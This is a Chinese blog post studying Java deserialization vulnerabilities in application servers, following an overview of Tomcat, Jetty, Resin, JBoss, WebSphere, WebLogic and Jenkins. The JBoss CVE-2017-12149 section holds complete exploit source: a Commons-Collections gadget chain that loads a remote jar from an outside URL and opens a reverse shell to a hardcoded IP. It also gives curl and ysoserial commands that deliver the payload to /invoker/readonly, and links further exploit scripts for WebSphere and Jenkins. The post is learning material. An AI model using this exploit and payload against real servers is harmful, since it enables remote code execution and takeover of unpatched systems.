JAVA相关容器序列化漏洞学习

常用容器:

Tomcat/Jetty/Resin/JBoss/WebSphere/WebLogic

Tomcat 服务器

目前最为流行的Tomcat服务器是Apache开源项目中的一个子项目,是一个小型、轻量级的支持JSP和Servlet 技术的Web服务器,也是初学者学习开发JSP应用的首选。

在Tomcat中,应用程序的部署很简单,你只需将你的WAR放到Tomcat的webapp目录下,Tomcat会自动检测到这个文件,并将其解压。你在浏览器中访问这个应用的Jsp时,通常第一次会很慢,因为Tomcat要将Jsp转化为Servlet文件,然后编译。编译以后,访问将会很快。另外Tomcat也提供了一个应用:manager,访问这个应用需要用户名和密码,用户名和密码存储在一个xml文件中。

Tomcat不仅仅是一个Servlet容器,它也具有传统的Web服务器的功能:处理Html页面。但是与Apache相比,它的处理静态Html的能力就不如Apache。

Jetty

Jetty 目前的是一个比较被看好的 Servlet 引擎,它的架构比较简单,也是一个可扩展性和非常灵活的应用服务器。

虽然 Jetty 正常成长为一个优秀的 Servlet 引擎,但是目前的 Tomcat 的地位仍然难以撼动。相比较来看,它们都有各自的优点与缺点。

①从架构上来说,显然 Jetty 比 Tomcat 更加简单。

②Tomcat 在处理少数非常繁忙的连接(连接的生命周期短)上更有优势。而 Jetty 刚好相反,Jetty 可以同时处理大量连接而且可以长时间保持这些连接。

Resin 服务器

Resin是一个非常流行的支持Servlet和JSP的服务器,速度非常快。Resin本身包含了一个支持HTML的Web服务器,这使它不仅可以显示动态内容,而且显示静态内容的能力也毫不逊色,因此许多网站都是使用Resin服务器构建。

JBoss服务器 –(曾有反序列化漏洞)

Jboss作为Java EE应用服务器,它不但是Servlet容器,而且是EJB(Enterprise java bean)容器,速度慢一些,不适合开发阶段,可以用于真实运行环境(免费)。从而受到企业级开发人员的欢迎,从而弥补了Tomcat只是一个Servlet容器的缺憾。

JBoss六大优点:

JBoss是免费的,开放源代码J2EE的实现,它通过LGPL许可证进行发布。

JBoss需要的内存和硬盘空间比较小。

安装非常简单。先解压缩JBoss打包文件再配置一些环境变量就可以了。

JBoss能够”热部署”,部署BEAN只是简单拷贝BEAN的JAR文件到部署路径下就可以了。如果没有加载就加载它;如果已经加载了就卸载掉,然后LOAD这个新的。

JBoss与Web服务器在同一个Java虚拟机中运行,Servlet调用EJB不经过网络,从而大大提高运行效率,提升安全性能。

用户可以直接实施J2EE-EAR,而不是以前分别实施EJB-JAR和Web-WAR,非常方便。

WebSphere 服务器 –(曾有反序列化漏洞)

  WebSphere是IBM公司的产品,可进一步细分为 WebSphere Performance Pack、Cache Manager 和WebSphere Application Server等系列,其中WebSphere Application Server 是基于Java 的应用环境,可以运行于 Sun Solaris、Windows NT 等多种操作系统平台,用于建立、部署和管理Internet和Intranet Web应用程序。

WebLogic 服务器 –(曾有反序列化漏洞)

  WebLogic 可进一步细分为 WebLogic Server、WebLogic Enterprise 和 WebLogic Portal 等系列,其中 WebLogic Server 的功能特别强大。WebLogic 支持企业级的、多层次的和完全分布式的Web应用,并且服务器的配置简单、界面友好。对于那些正在寻求能够提供Java平台所拥有的一切应用服务器的用户来说,WebLogic是一个十分理想的选择。不适合开发阶段,太慢了,适合于运行环境(收费)。

Jekin应用 –(曾有反序列化漏洞) 不是容器而是应用,可部署到容器

Jenkins功能包括:

1、持续的软件版本发布/测试项目。

2、监控外部调用执行的工作。

第一种启动方法,切换到jenkins.war存放的目录,输入如下命令:

$ java -jar jenkins.war

如果需要修改端口可以使用如下命令:

$ java -jar jenkins.jar–httpPort=8081

然后在浏览器中(推荐用火狐)输入localhost:8081,localhost可以是本机的ip,也可以是计算机名。就可以打开jenkins。

第二种方法是用tomcat打开

解压tomcat到某个目录,如/usr/local,进入tomcat下的/bin目录,启动tomcat

将jenkins.war文件放入tomcat下的webapps目录下,启动tomcat时,会自动在webapps目录下建立jenkins目录,在地址栏上需要输入localhost:8080/jenkins。


Jboss、Weblogic、Webphere、Jekins(非容器)

Jboss

CVE-2017-12149

影响的版本

5.x和6.x版本的JBOSSAS

漏洞关联

http-invoker.sar 组件、该组件衍生的url-pattern为 /invoker/readonly (Get方式500响应)

复现

下载jboss-6.1.0.Final(2011年发布,最新版已至2012发布7.1)

https://jbossas.jboss.org/downloads/

漏洞产生点:根据字义应是用来反射http请求包的一个附加组件。

1578453879948

jboss-as-distribution-6.1.0.Final\jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet\ReadOnlyAccessFilter.class

1578453975962

反序列化点

1578454312436

修改server.xml

1578455920447

1578456393323

1578456411149

https://www.jianshu.com/p/db777d5b4513一文提到一种

Win执行编译(Linux加.:)

javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

这里-cp用来指定依赖的jar包(ReverseShellCommonsCollectionsHashMap.java里引入了org.apache.commons.collections.*)

Win执行

java -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 120.79.91.29:9999

原项目老报错、自己起了个demo:

1578457696972

1578462319136

1
curl http://127.0.0.1:8080/invoker/readonly --data-binary @C:\Users\Administrator\IdeaProjects\untitled2\ReverseShellCommonsCollectionsHashMap.ser

1578462650084

1578462690645

这里使用了一个curl命令:

curl http://127.0.0.1:8080/invoker/readonly –data-binary @C:\Users\Administrator\IdeaProjects\untitled2\ReverseShellCommonsCollectionsHashMap.ser

这里@必须要、–data-binary指定二进制序列化数据。

分析一下序列化数据生成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class Main {
@SuppressWarnings ( {"unchecked"} )
public static void main(String[] args) throws Exception{
String remoteJar = "http://www.joaomatosf.com/rnp/java_files/JexRemoteTools.jar";
String host = null;
int port = 1331;
host = "120.79.91.29";
port = 9999;
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(URLClassLoader.class),
new InstantiateTransformer(
new Class[]{URL[].class},
new Object[]{new URL[]{new URL(remoteJar)}}
),
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"JexReverse"}
),
new InstantiateTransformer(
new Class[]{String.class, int.class},
new Object[]{host, port}
)
};//构造恶意的反序列化数据
//实例化包装类ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
// 创建Map
Map map1 = new HashMap();
// 使用LazyMap包装类包装恶意类
Map lazyMap = LazyMap.decorate(map1,transformerChain);
//实例化TiedMapEntry,修改toString方法到getValue(具体去看common-collections链)
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");//反射
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");//反射
}
//设置反射访问度
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
//反射修改并触发
keyField.set(node, entry);
// 保存反序列化二进制数据
System.out.println("Saving serialized object in ReverseShellCommonsCollectionsHashMap.ser");

FileOutputStream fos = new FileOutputStream("ReverseShellCommonsCollectionsHashMap.ser");
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(map);
oos.flush();

}
}

需要commons-collections-3.2.1.jar 可在这里取:

https://github.com/joaomatosf/JavaDeserH2HC

疑问

为什么默认可用此链呢?

common-collections默认存在Jboss二进制包里:

commons-collections-3.2.11578463602922

1578463627741

如何使用ysoserial完成此攻击:

1
java -jar ysoserial.jar CommonsCollections5 calc.exe > CommonsCollections5.ser
1
curl http://127.0.0.1:8080/invoker/readonly --data-binary @CommonsCollections5.ser

亲测ysoserial生成的CommonsCollections3不能用。CommonsCollections5可用。符号@必须要。

1578482472280

WebSphere

CVE-2015-7450

https://www.cnblogs.com/ssooking/p/5875215.html

利用

https://github.com/s0wr0b1ndef/Java_Deserialization_exploits/blob/c57412931a7b30153935ade295b2860306d8e14b/WebSphere/websphere_rce.py

漏洞影响Version8.0,Version7.0,Version8.5 and 8.5.5 Full Profile and Liberty Profile

临时解决方案
1 使用 SerialKiller 替换进行序列化操作的 ObjectInputStream 类;
2 在不影响业务的情况下,临时删除掉项目里的“org/apache/commons/collections/functors/InvokerTransformer.class” 文件

网上没找到该容器,IBM商用的。也没看着使用的url路径,只找到这个利用的py脚本,脚本也没提供路径。无语

Jekins

CVE-2016-9299

CVE-2017-1000353

1
2
影响低于 2.56 的所有 Jenkins 主线版本(包括 2.56 版本)
影响低于 2.46.1 的所有 Jenkins LTS 版本 ( 包括 2.46.1 版本)
1
2
net start jenkins
net stop jenkins

https://www.anquanke.com/post/id/86018

下载地址https://www.newasp.net/soft/278992.html

直接下载安装自动在8080启动服务:

1578486370688

漏洞点http://localhost:8080/cli/

cli断点在登录后可看到。POC使用未能成功(测试的JDK为1.8.202)

1578488828260

1578488844395

未成功弹出计算器,参照了https://www.anquanke.com/post/id/86018的POC

Weblogic

太熟悉暂时不分析。等新的Weblogic漏洞出来了再仔细看看。

本文标题:JAVA相关容器序列化漏洞学习

文章作者:

发布时间:2020年01月08日 - 19:26:37

最后更新:2020年01月13日 - 14:32:24

原始链接:http://laker.xyz/2020/01/08/JAVA%E7%9B%B8%E5%85%B3%E5%AE%B9%E5%99%A8%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%AD%A6%E4%B9%A0/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。